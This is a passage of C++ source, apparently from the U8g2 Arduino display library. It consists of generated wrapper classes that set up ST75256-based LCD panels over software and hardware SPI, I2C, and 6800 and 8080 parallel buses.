rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_2_8080 : public U8G2 { public: U8G2_ST75256_JLX256128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_WO256X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_WO256X128_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_WO256X128_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_WO256X128_2_6800 : public U8G2 { public: U8G2_ST75256_WO256X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_2_8080 : public U8G2 { public: U8G2_ST75256_WO256X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256128_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256128_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256128_F_6800 : public U8G2 { public: U8G2_ST75256_JLX256128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_F_8080 : public U8G2 { public: U8G2_ST75256_JLX256128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_WO256X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_WO256X128_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_WO256X128_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_WO256X128_F_6800 : public U8G2 { public: U8G2_ST75256_WO256X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_F_8080 : public U8G2 { public: U8G2_ST75256_WO256X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256128_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256128_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_WO256X128_1_SW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_WO256X128_1_HW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_WO256X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256128_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256128_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256128_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_WO256X128_2_SW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_WO256X128_2_HW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_WO256X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256128_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256128_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256128_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_WO256X128_F_SW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_WO256X128_F_HW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_WO256X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_WO256X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160_1_6800 : public U8G2 { public: U8G2_ST75256_JLX256160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_1_8080 : public U8G2 { public: U8G2_ST75256_JLX256160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160M_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160M_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256160M_1_6800 : public U8G2 { public: U8G2_ST75256_JLX256160M_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160M_1_8080 : public U8G2 { public: U8G2_ST75256_JLX256160M_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256160_ALT_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, 